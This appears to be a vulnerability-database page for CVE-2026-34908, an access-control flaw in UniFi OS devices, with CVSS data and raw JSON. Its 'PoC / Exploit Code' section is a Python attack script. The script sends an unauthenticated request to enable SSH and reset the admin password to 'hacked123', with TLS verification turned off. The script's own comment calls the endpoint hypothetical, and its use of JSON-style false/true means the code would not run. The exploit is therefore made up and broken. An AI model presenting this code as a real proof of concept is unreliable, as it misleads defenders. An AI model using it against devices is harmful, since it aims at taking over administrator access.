Security Vulnerability Report
中文
CVE-2026-34908 CVSS 10.0 CRITICAL

CVE-2026-34908

Published: 2026-05-22 02:16:34
Last Modified: 2026-05-22 02:16:34

Description

A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi OS devices to make unauthorized changes to the system.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi OS (具体受影响版本请参考厂商公告 Security Advisory Bulletin 064-064)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.1.1" target_port = "443" base_url = f"https://{target_ip}:{target_port}" # Vulnerable endpoint (Hypothetical based on access control issue) vuln_endpoint = "/api/status/unauthorized" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json", "Accept": "application/json" } # Payload to make unauthorized changes payload = { "authorized": false, "action": "modify_system_config", "new_config": { "ssh_enable": true, "admin_password": "hacked123" } } try: # Disable SSL verification warning for demonstration requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Send malicious request without authentication token response = requests.post(base_url + vuln_endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! System configuration changed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34908", "sourceIdentifier": "[email protected]", "published": "2026-05-22T02:16:34.240", "lastModified": "2026-05-22T02:16:34.240", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi OS devices to make unauthorized changes to the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b", "source": "[email protected]"}]}}